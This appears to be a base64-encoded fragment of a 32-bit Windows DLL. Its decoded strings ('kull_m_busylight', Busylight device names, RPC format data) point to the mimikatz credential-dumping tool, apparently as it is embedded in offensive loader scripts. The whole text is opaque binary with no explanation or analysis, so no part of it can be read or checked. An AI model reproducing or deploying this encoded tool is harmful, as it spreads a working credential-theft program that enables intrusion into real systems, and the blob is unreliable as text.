PQCQE2H7Ec0/C5aukds0Gj0AEP2rWZ/NP3Ns17wjeyA9AGB+Uj0Wzj/kky7yaZ0xPQCgAtwsms4/h/GBkPXrID0AkJR2WB/PPwCQF+rrrwc9AHDbH4CZzz9olvL3fXMiPQDQCUVbCtA/fyVTI1trHz0A6Ps3gEjQP8YSubmTahs9AKghVjGH0D+u87992mEyPQC4ah1xxtA/MsEwjUrpNT0AqNLN2f/QP4Cd8fYONRY9AHjCvi9A0T+LuiJCIDwxPQCQaRmXetE/mVwtIXnyIT0AWKwwerXRP36E/2I+zz09ALg6Fdvw0T/fDgwjLlgnPQBIQk8OJtI/+R+kKBB+FT0AeBGmYmLSPxIZDC4asBI9ANhDwHGY0j95N56saTkrPQCAC3bB1dI/vwgPvt7qOj0AMLunswzTPzLYthmZkjg9AHifUBNE0z9YsxIfMe8fPQAAAAAAwNs/AAAAAADA2z8AAAAAAFHbPwAAAAAAUds/AAAAAPDo2j8AAAAA8OjaPwAAAADggNo/AAAAAOCA2j8AAAAAwB/aPwAAAADAH9o/AAAAAKC+2T8AAAAAoL7ZPwAAAACAXdk/AAAAAIBd2T8AAAAAUAPZPwAAAABQA9k/AAAAACCp2D8AAAAAIKnYPwAAAADgVdg/AAAAAOBV2D8AAAAAKP/XPwAAAAAo/9c/AAAAAGCv1z8AAAAAYK/XPwAAAACYX9c/AAAAAJhf1z8AAAAA0A/XPwAAAADQD9c/AAAAAIDD1j8AAAAAgMPWPwAAAACoetY/AAAAAKh61j8AAAAA0DHWPwAAAADQMdY/AAAAAHDs1T8AAAAAcOzVPwAAAAAQp9U/AAAAABCn1T8AAAAAKGXVPwAAAAAoZdU/AAAAAEAj1T8AAAAAQCPVPwAAAADQ5NQ/AAAAANDk1D8AAAAAYKbUPwAAAABgptQ/AAAAAGhr1D8AAAAAaGvUPwAAAAD4LNQ/AAAAAPgs1D8AAAAAePXTPwAAAAB49dM/AAAAAIC60z8AAAAAgLrTPwAAAAAAg9M/AAAAAACD0z8AAAAA+E7TPwAAAAD4TtM/AAAAAHgX0z8AAAAAeBfTPwAAAABw49I/AAAAAHDj0j8AAAAA4LLSPwAAAADgstI/AAAAANh+0j8AAAAA2H7SPwAAAABITtI/AAAAAEhO0j8AAAAAuB3SPwAAAAC4HdI/AAAAAKDw0T8AAAAAoPDRPwAAAACIw9E/AAAAAIjD0T8AAAAAcJbRPwAAAABwltE/AAAAAFhp0T8AAAAAWGnRPwAAAAC4P9E/AAAAALg/0T8AAAAAoBLRPwAAAACgEtE/AAAAAADp0D8AAAAAAOnQPwAAAADYwtA/AAAAANjC0D8AAAAAOJnQPwAAAAA4mdA/AAAAABBz0D8AAAAAEHPQPwAAAABwSdA/AAAAAHBJ0D8AAAAAwCbQPwAAAADAJtA/AAAAAJgA0D8AAAAAmADQPwAAAADgtM8/AAAAAOC0zz8AAAAAgG/PPwAAAACAb88/AAAAACAqzz8AAAAAICrPPwAAAADA5M4/AAAAAMDkzj8AAAAAYJ/OPwAAAABgn84/AAAAAABazj8AAAAAAFrOPwAAAACQG84/AAAAAJAbzj8AAAAAMNbNPwAAAAAw1s0/AAAAAMCXzT8AAAAAwJfNPwAAAABQWc0/AAAAAFBZzT8AAAAA4BrNPwAAAADgGs0/AAAAAGDjzD8AAAAAYOPMPwAAAADwpMw/AAAAAPCkzD8AAAAAcG3MPwAAAABwbcw/AAAAAAAvzD8AAAAAAC/MPwAAAACA98s/AAAAAID3yz8AAAAAAMDLPwAAAAAAwMs/AAAAAAAA4D90YW5oAAAAAGF0YW4AAAAAYXRhbjIAAABzaW4AY29zAHRhbgBjZWlsAAAAAGZsb29yAAAAZmFicwAAAABtb2RmAAAAAGxkZXhwAAAAX2NhYnMAAABfaHlwb3QAAGZtb2QAAAAAZnJleHAAAABfeTAAX3kxAF95bgBfbG9nYgAAAF9uZXh0YWZ0ZXIAAAAAAAAUAAAAYHUHEB0AAABkdQcQGgAAAFR1BxAbAAAAWHUHEB8AAABAfwcQEwAAAEh/BxAhAAAAyH0HEA4AAABodQcQDQAAAHB1BxAPAAAA0H0HEBAAAADYfQcQBQAAAHh1BxAeAAAA4H0HEBIAAADkfQcQIAAAAOh9BxAMAAAA7H0HEAsAAAD0fQcQFQAAAPx9BxAcAAAABH4HEBkAAAAMfgcQEQAAABR+BxAYAAAAHH4HEBYAAAAkfgcQFwAAACx+BxAiAAAANH4HECMAAAA4fgcQJAAAADx+BxAlAAAAQH4HECYAAABIfgcQc2luaAAAAABjb3NoAAAAAAAAAAAAAPB/////////738AAAAAAAAAgCUwNGh1JTAyaHUlMDJodSUwMmh1JTAyaHUlMDJodVoAQgB1AHMAeQBsAGkAZwBoAHQAIABMAHkAbgBjACAAbQBvAGQAZQBsACAAKAB3AGkAdABoACAAYgBvAG8AdABsAG8AYQBkAGUAcgApAAAAAABCAHUAcwB5AGwAaQBnAGgAdAAgAFUAQwAgAG0AbwBkAGUAbAAAAAAAawB1AGEAbgBkAG8AQgBPAFgAAABCAHUAcwB5AGwAaQBnAGgAdAAgAE8AbQBlAGcAYQAgAG0AbwBkAGUAbAAAAEIAdQBzAHkAbABpAGcAaAB0ACAATAB5AG4AYwAgAG0AbwBkAGUAbAAgACgATQBpAGMAcgBvAGMAaABpAHAAIABJAGQAKQAAAEYAdQBqAGkAdABzAHUAIABNAE0ATQAyAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABIAGkAZABQAF8ARwBlAHQAQwBhAHAAcwAgACgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAgACgAaABLAGUAZQBwAEEAbABpAHYAZQBUAGgAcgBlAGEAZAApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBzAF8AZwBlAHQAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAaABCAHUAcwB5ACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AZABlAHYAaQBjAGUAcwBfAGcAZQB0ACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAGQAZQB2AGkAYwBlAEgAYQBuAGQAbABlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBzAF8AZwBlAHQAIAA7ACAAUwBlAHQAdQBwAEQAaQBHAGUAdABDAGwAYQBzAHMARABlAHYAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AcgBlAHEAdQBlAHMAdABfAGMAcgBlAGEAdABlACAAOwAgAGMAbwB1AG4AdAA9ACUAdQAgACgAbQBhAHgAIABpAHMAIAA3ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBkAGUAdgBpAGMAZQBfAHMAZQBuAGQAXwByAGEAdwAgADsAIABbAGQAZQB2AGkAYwBlACAAJQB1AF0AIABXAHIAaQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcwBlAG4AZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAFMAaQB6AGUAIABpAHMAIABuAG8AdAAgAHYAYQBsAGkAZABlACAAKABzAGkAegAgAD0AIAAlAHUALAAgAG0AYQB4ACAAPQAgACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcwBlAG4AZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAEkAbgB2AGEAbABpAGQAIABEAGUAdgBpAGMAZQAvAEIAdQBzAHkAIABIAGEAbgBkAGwAZQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBiAHUAcwB5AGwAaQBnAGgAdABfAGQAZQB2AGkAYwBlAF8AcgBlAGEAZABfAHIAYQB3ACAAOwAgAFsAZABlAHYAaQBjAGUAIAAlAHUAXQAgAFIAZQBhAGQARgBpAGwAZQAgACgAMAB4ACUAMAA4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ABIIJVxGXAQABAASCCVcRlwIAAgAEgglXEZcDAAMABIIJVxGXBAAEAASCCVcWwgICAgICAhcWxsDHAAZAAAAAQBLXEhJHAAAAAUAAAAAABIIJVwEAAQAEgglXAgACAASCCVcDAAMABIIJVwQABAAEgglXFtMAH//WxoDCAAAAAgATABo/zZbEgCu/7cIAAAAABAnAAAWA2gAS1xGXAAAAAASCCVcRlwEAAQAEgglXEZcCAAIABIIJVxGXAwADAASCCVcRlwQABAAEgglXEZcFAAUABIIJVxGXBgAGAASCCVcWwgICAgICAgICAhMAEX4TABB+EwAPfhMADn4WxsDaAAZAAAAAQBLXEhJaAAAAAcAAAAAABIIJVwEAAQAEgglXAgACAASCCVcDAAMABIIJVwQABAAEgglXBQAFAASCCVcGAAYABIIJVxbTABJ/1saAwgAAAAIAEwAMv82WxIAnv+3CAAAAAAQJwAAFgNsAEtcRlwAAAAAEgglXEZcBAAEABIIJVxGXAgACAASCCVcRlwMAAwAEgglXEZcEAAQABIIJVxGXBQAFAASCCVcRlwYABgAEgglXFsICAgICAgICAgICEwAbvdMAGr3TABm90wAYvdcWxsDbAAZAAAAAQBLXEhJbAAAAAcAAAAAABIIJVwEAAQAEgglXAgACAASCCVcDAAMABIIJVwQABAAEgglXBQAFAASCCVcGAAYABIIJVxbTABH/1saAwgAAAAIAEwAMP82WxIAnv+3CAAAAAAQJwAAFgMcAEtcRlwYABgAEgglXFsICAgICAgIXFsbAxwAGQAAAAEAS1xISRwAAAABABgAGAASCCVcW0wAx/9bGgMIAAAACABMALD/NlsSAM7/AAAAAAAAAEgAAAAAAAAYADIAAABEAEAARwUIBwEAAQAAAAoABAACAAsACAAYABMgDABAABABEABIAHAAFAAIAABIAAAAAAEACAAw4AAAAAA4AEAARAIIAQAAAAAAABgBAABQAHAABAAIAABIAAAAAAMAGAAwQAAAAAAsACQARwYIBwEAAQAAAAgAAABUAEgABAAIAAsBCABcAFAhDAAIABMBEAC6AnAAFAAIAABIAAAAAAwAGAAwQAAAAAAsACQARwYIBwEAAQAAAAgAAABUAEgABAAIAAsBCACGBVAhDAAIABMhEADiBXAAFAAIAABIAAAAABAAGAAwQAAAAAAsACQARwYIBwEAAQAAAAgAAABUAEgABAAIAAsBCABuBlAhDAAIABMhEACcBnAAFAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEAAAANUJR4wZL0RGrBADAT8Lc0gQAAAAEXYiK6xzJEZ/oCAArEEhgAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOoDAAAAAAgA6wMAAAAAAAHsAwAAAAAAQO0DAAAAAEAAAAEDCBIhNU5ngLLkAAAAAAEAAAAMcggQHHIIEAAAAABAcggQXHIIEHxyCBCQcggQRFsIEKxyCBDUcggQ4HIIEPByCBAUcwgQKHMIEERzCBBkcwgQeHMIECBeCBAIXAgQkHMIEKRzCBC4cwgQ4HMIEAB0CBAYdAgQOHQIEFx0CBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUUhVMgAYAAA5ADcAAAYwACIAVDpPUAAPAAAWABQAADUEAAAAACssACoAAAA+NgBARQAAHwBGAAAAACQACwANTQ4AAAATSSUAITguAD8ARAAAQwAAAAAAQQBMAAFLAD0AHjxOAABXAFInGSkAAAMCMVMAAAAAEQA7NCgACCYAVgAAAQIDBAUGBwgJCgsMDQ4PEBESExQVFhcYGRobHB0eHwABAgMEBQYHCAkKCwwNDg8AAQIDBAUGBwABAgMAAQAALXgwAFgwAAAGAAAAAAAAAGaDHQxQT3INZYoIQiaLdgNuZXkbTgpXVxcVXGULFAYRAjSMcBwfEGiBiDEOYn9xSFMFfGUbaRprd4mCVDUYZzkHQGViYgR4GXVGe2UbPIAPbx5+ZQlqfQAAAQIDBAYIAIkDfwNtA20DbQOpA6kDqQOpA6kDqQNsA6kDqQMQAysDKwOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kD+QKpA6kDqQOpAzEDqQOpA6kDqQOpA6kDOQM4Ax4DNgMvAzMDMgNuA28DaANpA2cDawOpA1ADXwNPA1kDXgNlA10DWgNSA1EDkQOQA1MDqQOpA6kDVAOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDfwPJAs8CVQOJA38DfwN/A1YDFAMLA2IDYQNgA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDEAOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA4sDEAMSAwoDuwI1AyADIAMgAxEDCgPgAp8DKwMrA90CKwNqA6kD/AI+A/wCNQMCAxcDAgM1AxcDxwIXA8cCcwNzAyQDHwMkAx8DFwMwAyUDLgMsAzUDcwP6AvoC+gLvAncDdwNzA/oC4AL6Au8C+gL6AqkDzALyAo4DjgOKA4oDigOKA5oD4gLiApoDqQOVA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA0QDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOBA6kDqQOpA4ADqQOpA6kDowOpA6kDqQOpA6kDqQMtA6kDJgOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6kDqQOpA6cDqQOpA0YDqQNFA0kDqQPBAqkDAACSAZMDlACUAZQBlAGTApMCkwKTApMDkwWYBpoBnACcA5sAmQWZAqAAoAKiAqQApASkBqUCqQKpAqkEqQOpA6kCqQOpBakCqQSpBKkBqQKuAK4BsACwArICsgOyA7IDswKzArMBswGzArEDsQK0ALQCtAKfALYBtwK3B7cFtwW3CroArACsA7sAuwK8AbwBkwS+Ar4AkwGhAsEJywTLBcMBwwHDAM4AxAPEAsQEzwLPAMUAxQLRAtEA0AfQCZ0AnQK/AtIB0gLSA9IE1ALUANMA0wPTAtUE1QDJAMkDuAS4Aq0BrQGtAMcAxwPIAMgCygDKAsoEygSTBsYAxgKTCNcF1wOTBpMH2ALYAdkA2QPWA9YBqwOqAasBqwGrA6sFqgGqAasBqwOrBasEqgGrA6sDqwOrA6sDqwOrA6sD2gHaAqsDqwWrAqsDqwOrBKsCqwKrAqsC2wHbAqsFqwXdBd0E3gLeANwB3ADNAMwDzAGTDN8B3wCvAK8DuQW5A+AA4AKTBKcCqAK9Ab0BvQHCAMICwgPhBuEIjgGPAo8BkAGQA5EAlQCVAZUClwGXAJMCngSeApYBlgGWAaQBpQGmAaYBowKjAKkCnwK1A7UBtgC6AbwBwAHBAc4CzwGrAc0BpwEAAAcABwAJAAoACgANAA8AEgAVABcAGQAaAB8AIQAmAC8AMAA1ADcAOQA8AEQARABIAE0ATQBRAFUAWQBbAGMAaQBsAGwAcgB4AH4AfgCBAIQAiQCNAJQAmgCmAKkArwCzALwAxQDHAMsA0ADXANoA3wDlAOkA7ADzAPgA+gABAQMBCQERARYBFgEnAS4BLwE2AToBPgFCAUYBSQFLAVEBUwFZAV8BYwFoAXABdgEAABAQAhAQAAICAQAAAH0dAhAyGgIQNhwCEEwdAhDotQAQiR0CEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcGAAABAQABAAAAADAxMjM0NTY3ODlBQkNERUYwMTIzNDU2Nzg5YWJjZGVmAAAAAADKmjsAypo70AcAAOgDAAD0AQAAqGEAAH8AAAAKAAAAUMMAAOcDAADoAwAAAAAAADMuMTMuMAAAAAAAAAAAAAAAAAAAAAEBAQEBAAAAAAAAAAAAAAAAAAAAAAAAAQCAAEAAAIAAAAAAAAAAAAwMDAwMDAwMDAwAAAAAAAAACgoKCgoKAgICAgICAgICAgICAgICAgICAgKAAAAAQIAqKioqKioiIiIiIiIiIiIiIiIiIiIiIiIiIgAAAAAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEAaUwgQIGQIEChkCBAwZAgQOGQIEAABAgQJDA8UAAAAAAECAAICAAAAJV8AADs5ODoDAAAAreIAEBzjABBn5AAQjOUAEJrmABAG5wAQWugAEFXqABAA6gAQKOsAECntABAv7QAQAAAAAAAAAAAAAAAAAAAAAOTuABA/7wAQKj9bAFUA8QGlAMgB9AEPAhsCHwIhAiUCOAKk/0QCHgJ5AMf/mgBTAVICVwJdAl8CZAJpAm0CbwJ2AnsCfwKFAocCjAKOApEClQKXAp0CnwKkAqcCrQKvArYCugK9Ar8CxgLIAswC0ALVAtgC3gLjAucCEgBhAIMA6AJwAZ//n/+f/5//n/+f/5//n/+f/5//n/+f/5//